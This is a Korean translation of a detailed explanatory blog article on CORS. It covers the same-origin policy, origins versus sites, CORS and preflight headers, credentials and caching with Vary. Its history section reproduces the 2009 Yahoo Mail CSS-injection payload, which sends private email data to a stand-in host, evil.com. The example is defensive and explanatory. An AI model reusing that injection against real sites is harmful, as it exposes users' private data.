CORS(교차 오리진 리소스 공유, Cross-Origin Resource Sharing)는 어렵습니다. 브라우저가 무언가를 가져오는 방식의 일부이기 때문입니다. 그 동작 방식은 30여 년 전 최초의 웹 브라우저에서 시작됐습니다. 그때부터 웹이 너무 많이 망가지지 않는 선에서 기능을 추가하고, 기본 동작을 개선하고, 과거의 실수를 덮어 가며 끊임없이 발전해 왔습니다.
아무튼 제가 CORS에 관해 아는 거의 모든 것을 적어 보기로 했습니다. 직접 상호작용해 볼 수 있도록 재미있는 새 앱도 만들었습니다.
원한다면 지금 바로 플레이그라운드를 살펴봐도 좋습니다. 글 곳곳에서도 구체적인 예제를 보여 드릴 때 링크를 걸어 두겠습니다.
이런, 너무 앞서갔습니다. '어떻게'를 다루기 전에, CORS가 어떻게 생겨났고 다른 종류의 리소스 요청과 어떤 관계인지 살펴보며 왜 지금과 같은 모습인지 설명해 보겠습니다. 잘 설명할 수 있도록 행운을 빌어 주세요…
CORS 없이 교차 오리진(cross-origin)에 접근하기
새로운 선택적 HTML 태그 IMG를 제안하고 싶습니다. 필수 인자는 SRC="url"입니다.
브라우저는 거의 30년 전부터 다른 사이트의 이미지를 포함할 수 있었습니다. 다른 사이트의 허락을 받을 필요도 없습니다. 그냥 하면 됩니다. 이미지에서 끝나지도 않았습니다.
<script src="…"></script>
<link rel="stylesheet" href="…" />
<iframe src="…"></iframe>
<video src="…"></video>
<audio src="…"></audio>
이런 API를 사용하면 다른 사이트의 동의 없이도 해당 사이트에 요청을 보내고, 정해진 방식으로 응답을 처리할 수 있습니다.
1994년 HTTP 쿠키가 등장하면서 상황이 복잡해졌습니다. HTTP 쿠키는 자격 증명(credentials)이라고 부르는 것들에 포함됐습니다. 여기에는 TLS 클라이언트 인증서(서버 인증서와 혼동하지 마세요)와 HTTP 인증을 사용할 때 Authorization 요청 헤더에 자동으로 들어가는 상태 정보도 포함됩니다(처음 듣는다면 신경 쓰지 않아도 됩니다. 형편없는 방식입니다).
자격 증명 덕분에 서버는 여러 요청에 걸쳐 특정 사용자의 상태를 유지할 수 있습니다. 트위터가 여러분의 피드를 보여 주고, 은행이 여러분의 계좌를 보여 주는 방식입니다.
앞서 살펴본 방식으로 다른 사이트의 콘텐츠를 요청하면 해당 사이트의 자격 증명도 함께 전송됩니다. 이 때문에 오랜 세월 동안 어마어마한 보안 문제가 쏟아졌습니다.
<img src="https://your-bank/your-profile/you.jpg" />
위 이미지가 로드되면 저는 load 이벤트를 받습니다. 로드되지 않으면 error 이벤트를 받습니다. 로그인 여부에 따라 결과가 달라진다면, 저는 여러분에 관해 많은 것을 알 수 있습니다. 이미지의 너비와 높이도 읽을 수 있습니다. 사용자마다 크기가 다르다면 더 많은 것을 알아낼 수 있습니다.
CSS처럼 기능이 더 많으면서도 파싱 오류가 발생했다고 즉시 실패하지는 않는 형식에서는 문제가 더 심각해집니다. 2009년에는 야후 메일이 꽤 단순한 공격에 취약하다는 사실이 드러났습니다. 공격자는 제목에 ');}가 들어간 이메일을 하나 보내고, 나중에 제목에 {}html{background:url('//evil.com/?가 들어간 이메일을 하나 더 보냅니다.
…
<li class="email-subject">Hey {}html{background:url('//evil.com/?</li>
<li class="email-subject">…private data…</li>
<li class="email-subject">…private data…</li>
<li class="email-subject">…private data…</li>
<li class="email-subject">Yo ');}</li>
…
그러면 사용자의 비공개 이메일 데이터 일부가 유효한 CSS로 파싱될 수 있는 구문 사이에 끼게 됩니다. 그다음 공격자는 다음 코드를 포함한 페이지에 사용자가 방문하도록 유도합니다.
<link rel="stylesheet" href="https://m.yahoo.com/mail" />
…이 리소스는 yahoo.com의 쿠키와 함께 로드됩니다. CSS가 파싱되면서 비공개 정보가 evil.com으로 전송됩니다. 맙소사.
이건 똥으로 된 빙산의 일각일 뿐입니다. 브라우저 버그부터 CPU 취약점 공격까지, 정보가 새어 나가는 이런 리소스는 수십 년 동안 문제를 일으켰습니다.
접근을 제한하기
이런 방식이 웹 설계의 실수였다는 점은 이제 꽤 분명해졌습니다. 그래서 더는 이런 종류의 요청을 처리하는 API를 새로 만들지 않습니다. 한편 지난 수십 년 동안 기존 문제도 최대한 보완해 왔습니다.
- 이제 다른 오리진(origin)에서 가져오는 CSS('오리진'의 정의는 곧 설명하겠습니다)는 CSS를 나타내는 Content-Type과 함께 전송해야 합니다. 하지만 스크립트와 이미지, 쿼크 모드(quirks mode) 페이지의 CSS에 같은 규칙을 강제하면 웹의 상당 부분이 망가지므로 그렇게 할 수 없습니다.
- X-Content-Type-Options: nosniff 헤더를 사용하면 서버는 "올바른 Content-Type을 보내지 않았다면 이 응답을 CSS나 JS로 파싱하지 마세요"라고 말할 수 있습니다.
- 나중에는 nosniff 규칙이 확장되어 다른 오리진에서 가져오는 HTML, JSON, XML(SVG 제외) 등 특정 유형의 no-CORS 응답을 차단하게 됐습니다. 이 보호 기능을 CORB라고 합니다.
- 더 최근에는 사이트 B가 SameSite 쿠키 속성으로 명시적으로 허용하지 않는 한, 사이트 A에서 사이트 B로 보내는 요청에 쿠키를 함께 전송하지 않습니다. 쿠키가 없으면 사이트는 대체로 비공개 데이터가 없는 '로그아웃' 화면을 반환합니다.
- 파이어폭스와 사파리는 한 걸음 더 나아가 사이트를 완전히 격리하려고 합니다. 다만 현재 두 브라우저가 이를 구현하는 방식은 꽤 다릅니다.
동일 오리진 정책(same-origin policy)
1995년에 출시된 넷스케이프 2에는 놀라운 새 기능 두 가지가 있었습니다. LiveScript('자바스크립트'라는 이름으로 더 익숙할 겁니다)와 HTML 프레임입니다. 프레임을 사용하면 한 페이지 안에 다른 페이지를 넣을 수 있고, LiveScript는 두 페이지 모두와 상호작용할 수 있었습니다.
넷스케이프는 여기에 보안 문제가 있다는 사실을 깨달았습니다. 악성 페이지가 은행 페이지의 DOM을 읽게 할 수는 없으니까요. 그래서 두 페이지의 _오리진_이 같을 때만 프레임 간 스크립팅을 허용하기로 했습니다.
https://jakearchibald.com:443/2021/blah/?foo#bar
└───────── 오리진 ─────────┘
오리진이 같으면 사이트의 소유자도 같을 가능성이 높다는 생각이었습니다. 많은 사이트가 http://example.com/~jakearchibald/ 같은 URL로 콘텐츠를 나눴으므로 완전히 들어맞지는 않았지만, 어딘가에는 경계선을 그어야 했습니다.
그때부터 리소스 내부를 자세히 들여다볼 수 있는 기능은 동일 오리진으로 제한됐습니다. 1999년 IE5에 처음 등장하고 나중에 웹 표준 XMLHttpRequest가 된 new ActiveXObject('Microsoft.XMLHTTP')도 여기에 포함됐습니다.
오리진과 사이트
일부 웹 기능은 오리진이 아니라 '사이트'를 기준으로 동작합니다. 예를 들어 https://help.yourbank.com과 https://profile.yourbank.com은 오리진은 다르지만 같은 사이트입니다. 사이트 단위로 동작하는 대표적인 기능이 쿠키입니다. yourbank.com의 모든 하위 도메인으로 전송되는 쿠키를 만들 수 있기 때문입니다.
그런데 브라우저는 https://help.yourbank.com과 https://profile.yourbank.com이 같은 사이트에 속하고, https://yourbank.co.uk와 https://jakearchibald.co.uk는 서로 다른 사이트라는 사실을 어떻게 알까요? 그러니까… 모두 점으로 구분된 세 부분으로 이루어져 있는데 말입니다.
처음에는 브라우저마다 여러 경험적 규칙으로 판단했습니다. 하지만 2007년 모질라는 이 규칙을 목록으로 대체했습니다. 지금은 공개 접미사 목록(public suffix list)이라는 별도 커뮤니티 프로젝트에서 관리하며, 모든 브라우저와 수많은 다른 프로젝트가 이 목록을 사용합니다.
누군가 UI의 도움 없이도 URL이 보안상 어떤 의미인지 이해한다고 말한다면, 공개 접미사 목록의 9,000개가 넘는 항목을 전부 외워서 말할 수 있는지 꼭 확인해 보세요.
| 항목 | URL 1 | URL 2 |
| URL | https://app.jakearchibald.com/foo | https://other-app.jakearchibald.com/bar |
| 오리진 | https://app.jakearchibald.com | https://other-app.jakearchibald.com |
| 사이트 | jakearchibald.com | jakearchibald.com |
| 비교 | 결과 |
| 동일 오리진 | ❌ |
| 동일 사이트 | ✅ |
따라서 https://app.jakearchibald.com과 https://other-app.jakearchibald.com은 같은 사이트에 속하지만, https://app.glitch.me와 https://other-app.glitch.me는 서로 다른 사이트입니다. glitch.me는 공개 접미사 목록에 있고 jakearchibald.com은 없기 때문에 다르게 판단합니다. glitch.me의 하위 도메인은 각각 다른 사람이 '소유'하고, jakearchibald.com의 하위 도메인은 전부 제가 소유하므로 이는 '올바른' 판단입니다.
다시 접근을 허용하기
지금까지 살펴봤듯, <img> 같은 API는 다른 오리진의 리소스에 접근할 수 있지만 응답 내부를 들여다보는 데는 제한이 있습니다(돌이켜 보면 제한이 충분하지는 않았습니다). 반면 프레임 간 스크립팅과 XMLHttpRequest처럼 더 강력한 API는 동일 오리진에서만 동작합니다.
이 강력한 API가 오리진을 넘어서도 동작하게 하려면 어떻게 해야 할까요?
자격 증명을 빼면 어떨까요?
자격 증명 없이 요청을 보내도록 명시적으로 선택할 수 있게 한다고 가정해 보겠습니다. 그러면 응답은 '로그아웃' 화면이므로 비공개 데이터가 없을 테고, 안심하고 공개해도 되겠죠?
안타깝게도 브라우저의 자격 증명이 아닌 다른 수단으로 '보안'을 유지하는 HTTP 엔드포인트가 많습니다.
많은 회사 인트라넷은 특정 네트워크에서만 접근할 수 있으므로 '비공개'라고 가정합니다. 일부 공유기와 IoT 기기는 가정 내 네트워크로 접근을 제한했으니 선의의 사람만 접근한다고 가정합니다(IoT의 's'는 보안(security)을 뜻한다는 점을 기억하세요). 접속한 IP 주소에 따라 서로 다른 콘텐츠를 제공하는 웹사이트도 있습니다.
따라서 여러분이 집에서 제 웹사이트에 방문하면, 저는 흔히 쓰이는 호스트명과 IP 주소로 요청을 보내 보안이 취약한 IoT 기기나 기본 비밀번호를 사용하는 공유기를 찾기 시작할 수 있습니다. 브라우저의 자격 증명 없이도 여러분의 삶을 아주 비참하게 만들 수 있는 겁니다.
자격 증명을 빼는 것은 해결책의 일부이지만, 그것만으로는 충분하지 않습니다. 리소스에 비공개 데이터가 들어 있는지 알 방법이 없으므로, 리소스가 "괜찮으니 다른 사이트에서 내 콘텐츠를 읽게 해 주세요"라고 선언할 방법이 필요합니다.
별도 리소스에서 허용하면 어떨까요?
오리진에 교차 오리진 접근 권한을 자세히 명시한 특별한 리소스를 둘 수도 있습니다. 플래시가 선택한 보안 모델이 이 방식입니다. 플래시는 사이트 루트에서 다음과 같은 /crossdomain.xml을 찾았습니다.
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "https://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only" />
<allow-access-from domain="*.example.com" />
<allow-access-from domain="www.example.com" />
<allow-http-request-headers-from domain="*.adobe.com" headers="SOAPAction" />
</cross-domain-policy>
이 방식에는 몇 가지 문제가 있습니다.
- 오리진 전체의 동작이 바뀝니다. 특정 리소스에만 적용할 규칙을 지정하는 비슷한 형식을 생각해 볼 수도 있지만, 그러면 /crossdomain.xml 리소스가 상당히 커질 겁니다.
- /crossdomain.xml을 가져오는 요청과 실제 리소스를 가져오는 요청, 두 번의 요청이 필요합니다. /crossdomain.xml이 커질수록 더 큰 문제가 됩니다.
- 여러 팀이 만드는 큰 사이트에서는 /crossdomain.xml의 소유권을 두고 문제가 생깁니다.
리소스 자체에서 허용하면 어떨까요?
요청 횟수를 줄이려면 리소스 자체에서 접근을 허용할 수도 있습니다. W3C Voice Browser Working Group이 2005년에 XML 처리 명령(processing instruction)을 사용해 제안한 방식입니다.
<?access-control allow="*.example.com" deny="*.visitors.example.com"?>
그런데 리소스가 XML이 아니라면 어떨까요? 허용 의사를 다른 형식으로 표현해야 할 겁니다.
프레임 간 통신은 대체로 이 방식으로 정착했습니다. 양쪽 모두 postMessage를 사용해 통신을 허용하고, 통신을 허용할 오리진을 선언할 수 있습니다.
하지만 리소스의 원시 바이트에 접근하려면 어떨까요? 이 경우에는 리소스별로 다른 메타데이터를 사용해 접근을 허용하는 방식이 적절하지 않습니다. 게다가 HTTP에는 이미 리소스 메타데이터를 담을 곳이 있습니다…
HTTP 헤더로 허용하기
Voice Browser Working Group의 제안을 HTTP 헤더를 사용하도록 일반화한 것이 교차 오리진 리소스 공유, CORS입니다.
Access-Control-Allow-Origin: *
CORS 요청 보내기
fetch()를 비롯한 최신 웹 기능 대부분은 기본적으로 CORS를 요구합니다. <link rel="preload">처럼 CORS를 사용하지 않는 오래된 기능을 지원하도록 설계된 최신 기능은 예외입니다.
아쉽게도 무엇이 CORS를 요구하고 무엇이 요구하지 않는지 쉽게 구분하는 규칙은 없습니다. 예를 들어 보겠습니다.
<!-- Not a CORS request -->
<script src="https://example.com/script.js"></script>
<!-- CORS request -->
<script type="module" src="https://example.com/script.js"></script>
가장 좋은 방법은 직접 실행하고 개발자 도구의 네트워크 탭을 확인하는 것입니다. 크롬과 파이어폭스는 교차 오리진 요청을 보낼 때 Sec-Fetch-Mode 헤더를 포함하므로, 이 헤더로 CORS 요청인지 확인할 수 있습니다. 아쉽게도 사파리는 아직 이 헤더를 구현하지 않았습니다.
CORS 플레이그라운드에서 직접 해보세요. 요청을 보내면 서버가 받은 헤더가 기록됩니다. 크롬이나 파이어폭스를 사용한다면 Sec-Fetch-Mode가 cors로 설정된 것을 볼 수 있으며, 그 밖에도 흥미로운 Sec- 헤더가 몇 가지 보일 것입니다. 하지만 no-CORS 요청을 보내면 Sec-Fetch-Mode는 no-cors가 됩니다.
HTML 요소가 no-CORS 방식으로 리소스를 가져온다면, 이름이 영 부적절한 crossorigin 속성을 사용해 CORS 요청으로 전환할 수 있습니다.
<img crossorigin src="…" />
<script crossorigin src="…"></script>
<link crossorigin rel="stylesheet" href="…" />
<link crossorigin rel="preload" as="font" href="…" />
이렇게 CORS로 전환하면 교차 오리진 리소스의 내용을 더 자세히 살펴볼 수 있습니다.
- <img>를 <canvas>에 그린 뒤 픽셀을 읽을 수 있습니다.
- 특정한 이상한 상황에서 스크립트의 스택 트레이스를 더 자세히 볼 수 있습니다.
- 하위 리소스 무결성(subresource integrity) 같은 추가 기능을 사용할 수 있습니다.
- link.sheet로 파싱된 스타일시트를 살펴볼 수 있습니다.
<link rel="preload">는 실제 요청이 CORS를 사용한다면 미리 불러올 때도 CORS를 사용하도록 해야 합니다. 그렇지 않으면 프리로드 캐시에서 일치하는 항목을 찾지 못해 요청을 두 번 보내게 됩니다.
CORS 요청
기본적으로 교차 오리진 CORS 요청에는 자격 증명이 포함되지 않습니다. 따라서 쿠키도, 클라이언트 인증서도, 자동으로 붙는 Authorization 헤더도 없으며, 응답의 Set-Cookie는 무시됩니다. 하지만 동일 오리진 요청에는 자격 증명이 포함됩니다.
CORS를 개발할 무렵에는 브라우저 확장 프로그램과 '인터넷 보안' 소프트웨어가 Referer 헤더를 위조하거나 삭제하는 일이 잦았습니다. 그래서 요청을 보낸 페이지의 오리진을 알려 주는 새로운 헤더인 Origin을 만들었습니다.
Origin은 여러모로 유용해서 웹소켓이나 POST 요청을 비롯한 다양한 요청에도 추가되었습니다. 브라우저는 일반적인 GET 요청에도 추가하려 했지만, Origin 헤더가 있으면 CORS 요청이라고 가정한 수많은 사이트가 망가졌습니다 😬. 언젠가는 가능하겠죠.
CORS 플레이그라운드에서 직접 해보세요. 요청을 보내면 서버가 받은 헤더가 기록되며, 그 안에는 Origin도 있습니다. no-CORS GET 요청을 보내면 Origin 헤더를 보내지 않지만, no-CORS POST 요청을 보내면 다시 나타납니다.
CORS 응답
CORS 검사를 통과하고 다른 오리진이 응답에 접근할 수 있도록 하려면, 응답에 다음 헤더가 있어야 합니다.
Access-Control-Allow-Origin: *
* 대신 요청의 Origin 헤더 값을 넣을 수도 있지만, 자격 증명 없이 보낸 요청이라면 *는 요청을 보낸 오리진에 관계없이 동작합니다. 이 부분은 잠시 후에 더 살펴보겠습니다. 모든 헤더가 그렇듯 헤더 이름은 대소문자를 구분하지 않지만, 값은 대소문자를 구분합니다.
CORS 플레이그라운드에서 직접 해보세요! 다음 값은 동작합니다.
반면 다음 값은 동작하지 않습니다. *와 요청의 Origin 헤더 값에 대소문자까지 정확히 일치하는 값만 허용하기 때문입니다.
- https://jakearchibald.com/ - 끝에 붙은 / 때문에 Origin 헤더와 일치하지 않습니다.
- https://JakeArchibald.com - 대소문자가 Origin 헤더와 일치하지 않습니다.
- https://jakearchibald.* - 아뇨, 여기서 와일드카드는 이런 식으로 동작하지 않습니다.
- https://jakearchibald.com,https://example.com - 값은 하나만 지정할 수 있습니다.
유효한 값을 지정하면 다른 오리진이 응답 본문과 다음 헤더에 접근할 수 있습니다.
- Cache-Control
- Content-Language
- Content-Length
- Content-Type
- Expires
- Last-Modified
- Pragma
응답에 Access-Control-Expose-Headers 헤더를 추가하면 다른 헤더도 노출할 수 있습니다.
Access-Control-Expose-Headers: Custom-Header-1, Custom-Header-2
헤더 이름은 대소문자를 구분하지 않으므로, 여기서도 대소문자를 구분하지 않고 일치 여부를 확인합니다. 다음과 같이 지정할 수도 있습니다.
Access-Control-Expose-Headers: *
…이렇게 하면 자격 증명 없이 보낸 요청에서 (거의) 모든 헤더를 노출할 수 있습니다. 이 부분도 잠시 후에 더 살펴보겠습니다.
사이트 간에 쿠키가 유출되는 것을 막기 위해 Set-Cookie와 Set-Cookie2(Set-Cookie의 실패한 '후속작'으로, 이제는 폐기되었습니다) 헤더는 절대 노출하지 않습니다.
CORS 플레이그라운드에서 직접 해보세요.
CORS와 캐싱
CORS 요청은 캐시를 우회하지 않습니다. 파이어폭스는 요청에 자격 증명이 포함되었는지에 따라 HTTP 캐시를 나누며, 크롬도 같은 방식을 도입할 예정입니다. 하지만 여전히 CDN 캐시를 신경 써야 합니다.
오래 캐시되는 리소스에 CORS 추가하기
캐시 수명이 긴 자산을 다룬다면, 내용이 바뀔 때 사용자가 새 내용을 받을 수 있도록 파일 이름을 바꾸는 데 익숙할 것입니다. 헤더를 바꿀 때도 마찬가지입니다.
캐시 수명이 긴 리소스에 Access-Control-Allow-Origin: *를 추가한다면 URL도 꼭 바꾸세요. 그래야 클라이언트가 해당 헤더가 없는 캐시된 응답을 재사용하는 대신 서버에 다시 요청해 새 헤더를 받아 옵니다.
제가 여러분의 시간을 아직 충분히 빼앗지 못한 것 같다면, 장기 캐싱을 자세히 다룬 글도 있습니다.
조건에 따라 CORS 헤더 제공하기
쿠키와 함께 요청하면 비공개 데이터가 담기는 리소스에서, 쿠키 없이 요청했을 때의 데이터만 노출하고 싶다면 요청에 Cookie 헤더가 없을 때만 Access-Control-Allow-Origin: * 헤더를 넣는 것이 좋습니다. 이렇게 하면 CDN이나 브라우저 캐시가 비공개 데이터를 담은 응답을 실수로 재사용하는 상황을 피할 수 있습니다.
- 브라우저가 CORS 없이 리소스를 가져오므로 요청에 쿠키가 포함됩니다.
- 비공개 데이터가 담긴 응답이 캐시에 저장됩니다.
- 브라우저가 같은 리소스를 CORS 방식으로 가져오므로 쿠키를 포함하지 않습니다.
- 캐시가 앞서 저장한 응답을 그대로 반환합니다.
이 경우 브라우저는 두 번째 요청에 쿠키를 보내지 않았지만, 이전 요청에 보낸 쿠키 때문에 비공개 데이터가 담긴 응답을 받았습니다. 이 응답이 CORS 검사를 통과해 비공개 데이터를 노출하는 일은 없어야 합니다.
하지만 이 '버그'는 헤더에 또 다른 중요한 지시가 빠졌을 때만 발생합니다.
Vary: Cookie
이 헤더는 "Cookie 헤더의 상태가 원래 요청과 일치할 때만 캐시한 응답을 제공할 수 있다"라는 뜻입니다. 요청에 Cookie 헤더가 있든 없든 해당 URL의 모든 응답에 이 헤더를 넣어야 합니다.
Origin 헤더의 유무로 CORS 요청인지를 대략 판단하고, 그에 따라 Access-Control-Allow-Origin: *를 추가하는 서비스도 보았습니다. 불필요하게 복잡한 방식이지만, 굳이 이렇게 하겠다면 이때도 올바른 Vary 헤더를 쓰는 것이 중요합니다.
Vary: Origin
널리 쓰이는 '클라우드 스토리지' 호스트 중 상당수가 이 부분을 잘못 처리합니다. 조건에 따라 CORS 헤더를 추가하면서 Vary 헤더는 넣지 않습니다. 기본 설정을 믿지 말고, 실제로 올바르게 처리하는지 확인하세요.
Vary에는 조건으로 사용할 헤더를 여러 개 나열할 수 있습니다. Origin 그리고 Cookie 헤더의 유무에 따라 Access-Control-Allow-Origin: *를 추가한다면 다음과 같이 쓰세요.
Vary: Origin, Cookie
CORS로 리소스를 노출해도 안전할까요?
리소스에 비공개 데이터가 전혀 담기지 않는다면 Access-Control-Allow-Origin: *를 추가해도 완전히 안전합니다. 추가하세요! 지금 당장요!
쿠키에 따라 비공개 데이터가 담길 때도 있는 리소스라면, Vary: Cookie 헤더도 함께 넣으면 Access-Control-Allow-Origin: *를 추가해도 안전합니다.
마지막으로 요청을 보낸 쪽의 IP 주소로 데이터를 '보호'하거나, 서버가 '내부' 네트워크로 제한되어 있으니 안전하다고 가정한다면 Access-Control-Allow-Origin: *를 쓰는 것은 전혀 안전하지 않습니다. 그런데 말입니다, 아아, 그런 방식부터 그만두세요! 그 데이터는 실제로 안전하지 않습니다. 플랫폼 앱은 그 데이터에 접근해 원하는 곳으로 보낼 수 있습니다.
자격 증명 추가하기
교차 오리진 CORS 요청은 기본적으로 자격 증명 없이 전송됩니다. 하지만 여러 API에서 자격 증명을 다시 추가할 수 있습니다.
fetch에서는 다음과 같이 합니다.
const response = await fetch(url, {
credentials: 'include',
});
HTML 요소에서는 다음과 같이 합니다.
<img crossorigin="use-credentials" src="…" />
하지만 이 경우에는 명시적 허용의 조건이 더 엄격해집니다. 응답에 다음 헤더가 있어야 합니다.
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://jakearchibald.com
Vary: Cookie, Origin
CORS 요청에 자격 증명이 포함된다면 응답에 Access-Control-Allow-Credentials: true 헤더가 있어야 하며, Access-Control-Allow-Origin 값은 요청의 Origin 헤더 값을 반영해야 합니다. 자격 증명이 포함된 요청에서는 *를 사용할 수 없습니다.
허용 조건이 더 엄격한 이유는, 뭐, 비공개 데이터를 노출하는 일은 위험하며 정말 신뢰하는 오리진에만 허용해야 하기 때문입니다.
쿠키의 동일 사이트(same-site) 규칙은 여전히 적용되며, 파이어폭스와 사파리에서 사용하는 격리 방식도 마찬가지입니다. 하지만 이런 규칙은 교차 오리진이 아니라 교차 사이트(cross-site)일 때만 적용됩니다.
이때 응답을 어떤 형태로든 캐시할 수 있다면 Vary 헤더를 사용하는 것이 중요합니다. 브라우저 캐시뿐 아니라 CDN 같은 중간 계층의 캐시도 해당합니다. 특정 요청 헤더에 따라 응답이 달라진다는 사실을 Vary로 브라우저와 중간 계층에 알려 주세요. 그렇지 않으면 사용자가 잘못된 Access-Control-Allow-Origin 값이 담긴 응답을 받을 수 있습니다.
CORS 플레이그라운드에서 직접 해보세요. 이 요청은 모든 조건을 충족하며 쿠키도 설정합니다. 요청을 한 번 더 보내면 쿠키를 다시 전송하는 것을 볼 수 있습니다.
일반적이지 않은 요청과 프리플라이트
지금까지는 응답 쪽에서 데이터를 노출하도록 명시적으로 허용했습니다. 요청 자체는 특별한 일을 하지 않으므로 모두 안전하다고 가정했습니다.
fetch(url, { credentials: 'include' });
위 요청은 <img>가 이미 할 수 있는 것과 매우 비슷하므로 특별할 것이 없습니다.
fetch(url, {
method: 'POST',
body: formData,
});
위 요청도 <form>이 이미 할 수 있는 것과 매우 비슷하므로 특별할 것이 없습니다.
fetch(url, {
method: 'wibbley-wobbley',
credentials: 'include',
headers: {
fancy: 'headers',
'here-we': 'go',
},
});
좋습니다, 이건 꽤 특이합니다.
무엇이 '일반적이지 않은' 요청인지 따지기는 꽤 복잡합니다. 크게 보면 다른 브라우저 API가 보통 보내지 않는 종류의 요청이라면 일반적이지 않은 요청입니다. 더 구체적으로는 요청 메서드가 GET, HEAD, POST 중 하나가 아니거나, 안전 목록(safelist)에 없는 헤더나 헤더 값이 포함되면 해당합니다. 사실 저는 최근 특정 Range 헤더를 이 목록에 추가하도록 명세의 이 부분을 수정했습니다.
일반적이지 않은 요청을 보내려 하면 브라우저는 먼저 다른 오리진에 요청을 보내도 되는지 묻습니다. 이 과정을 _프리플라이트(preflight)_라고 합니다.
프리플라이트 요청
본 요청을 보내기 전에 브라우저는 대상 URL에 OPTIONS 메서드와 다음과 같은 헤더로 프리플라이트 요청을 보냅니다.
Access-Control-Request-Method: wibbley-wobbley
Access-Control-Request-Headers: fancy, here-we
- Access-Control-Request-Method - 본 요청에서 사용할 HTTP 메서드입니다. 일반적인 메서드라도 포함됩니다.
- Access-Control-Request-Headers - 본 요청에서 사용할 일반적이지 않은 헤더입니다. 그런 헤더가 없으면 이 헤더를 보내지 않습니다.
본 요청에 자격 증명이 포함되더라도 프리플라이트 요청에는 절대 포함되지 않습니다.
프리플라이트 응답
서버는 다음과 같은 헤더로 본 요청을 진행해도 되는지 응답합니다.
Access-Control-Max-Age: 600
Access-Control-Allow-Methods: wibbley-wobbley
Access-Control-Allow-Headers: fancy, here-we
- Access-Control-Max-Age - 이 URL에 프리플라이트 요청을 다시 보내지 않도록 프리플라이트 응답을 캐시하는 시간으로, 초 단위입니다. 기본값은 5초입니다. 일부 브라우저는 상한을 둡니다. 크롬은 600초(10분), 파이어폭스는 86400초(24시간)입니다.
- Access-Control-Allow-Methods - 허용할 일반적이지 않은 메서드입니다. 쉼표로 구분해 여러 값을 지정할 수 있으며 대소문자를 구분합니다. 본 요청을 자격 증명 없이 보낸다면 *로 (거의) 모든 메서드를 허용할 수 있습니다. CONNECT, TRACE, TRACK은 보안상 🔥💀 금지 목록 💀🔥에 있으므로 허용할 수 없습니다.
- Access-Control-Allow-Headers - 허용할 일반적이지 않은 헤더입니다. 쉼표로 구분해 여러 값을 지정할 수 있으며, 헤더 이름은 대소문자를 구분하지 않으므로 값도 대소문자를 구분하지 않습니다. 본 요청을 자격 증명 없이 보낸다면 *로 🔥💀 또 다른 금지 목록 💀🔥에 없는 모든 헤더를 허용할 수 있습니다.
🔥💀 금지 목록 💀🔥의 헤더는 보안상 브라우저가 계속 제어해야 하는 헤더입니다. CORS 요청과 Access-Control-Allow-Headers에서 자동으로, 아무런 알림 없이 제거됩니다.
프리플라이트 응답도 일반 CORS 검사를 통과해야 하므로 Access-Control-Allow-Origin이 필요하며, 본 요청에 자격 증명을 포함한다면 Access-Control-Allow-Credentials: true도 필요합니다. 상태 코드는 200~299 범위여야 합니다.
사용하려는 메서드와 모든 헤더가 허용되면 본 요청을 진행합니다.
아, 그리고 프리플라이트는 요청을 보내도 된다고 허락할 뿐입니다. 최종 응답도 CORS 검사를 통과해야 합니다.
상태 코드 제한에는 주의할 점이 있습니다. /artists/Pip-Blom 같은 API에서 데이터베이스에 'Pip Blom'이 없으면 404를 반환하고 싶을 수 있습니다. 클라이언트가 다른 서버 오류가 아니라 요청한 대상을 '찾지 못했다'는 사실을 알도록 404 코드와 응답 본문을 볼 수 있게 하려는 것입니다. 하지만 프리플라이트가 필요한 요청이라면 최종 응답이 404이더라도 프리플라이트는 200~299 코드를 반환해야 합니다.
크롬에는 메서드 이름과 관련된 버그가 있습니다
크롬에는 이 부분에 버그가 있습니다. 저도 이 글을 쓰기 전까지는 몰랐습니다.
HTTP 메서드 이름은 어느 정도 대소문자를 구분합니다. '어느 정도'라고 하는 이유는 get, post, head, delete, options, put과 대소문자를 무시하고 일치하는 메서드 이름은 자동으로 대문자로 바뀌지만, 나머지 메서드는 입력한 대소문자가 유지되기 때문입니다.
아쉽게도 크롬은 Access-Control-Allow-Methods 값이 대문자라고 가정합니다. 메서드가 Wibbley-Wobbley이고 프리플라이트가 다음과 같이 응답하면
Access-Control-Allow-Methods: Wibbley-Wobbley
…크롬에서는 검사를 통과하지 못합니다. 반면 다음과 같이 응답하면
Access-Control-Allow-Methods: WIBBLEY-WOBBLEY
…크롬에서는 검사를 통과하고 Wibbley-Wobbley 메서드로 요청을 보내지만, 명세를 따르는 다른 브라우저에서는 검사를 통과하지 못합니다. 이 문제를 우회하려면 두 메서드를 모두 지정하면 됩니다.
Access-Control-Allow-Methods: Wibbley-Wobbley, WIBBLEY-WOBBLEY
…또는 자격 증명이 없는 요청이라면 그냥 *를 쓰면 됩니다.
자, 마지막으로 CORS 플레이그라운드에서 지금까지의 내용을 모두 종합해 보겠습니다.
- 단순한 요청. 프리플라이트가 필요하지 않습니다.
- 일반적이지 않은 헤더. 프리플라이트가 발생하며 서버가 요청을 허용하지 않습니다.
- 다시, 일반적이지 않은 헤더. 하지만 이번에는 프리플라이트가 올바르게 설정되어 요청이 진행됩니다.
- 일반적인 Range 헤더. 제가 수정한 명세와 관련이 있습니다. 브라우저가 이 변경 사항을 구현하면 이 요청에는 프리플라이트가 필요하지 않습니다. 현재 크롬 카나리에 구현되어 있습니다.
- 일반적이지 않은 메서드. 앞서 설명한 크롬 버그를 보여 줍니다. 크롬에서는 요청이 진행되지 않지만 다른 브라우저에서는 동작합니다.
- 다시, 일반적이지 않은 메서드. 크롬 버그를 우회하는 예시입니다.
휴!
와, 끝까지 오셨군요! 죄송합니다. 생각보다 글이 훨씬 길어졌지만, CORS 전반을 이해하는 데 도움이 되었기를 바랍니다.
글을 교정하고 사실관계를 확인하며, 더 자세한 설명이 필요한 부분을 찾아 주신 Anne van Kesteren, Simon Pieters, Thomas Steiner, Ethan, Mathias Bynens, Jeff Posnick, Matt Hobbs께 깊이 감사드립니다.
'Web Frontend Developer' 카테고리의 다른 글
| [번역] 가비지 컬렉션과 클로저 (0) | 2026.11.16 |
|---|---|
| [번역] 스킵 링크 대상에는 tabindex=-1이 필요하지 않을 수 있습니다 (0) | 2026.11.10 |
| [번역] 원샷으로 브라우저 API 만들기 (0) | 2026.09.21 |
| [번역] 인터랙티브 요소란 무엇일까요? (0) | 2026.09.21 |
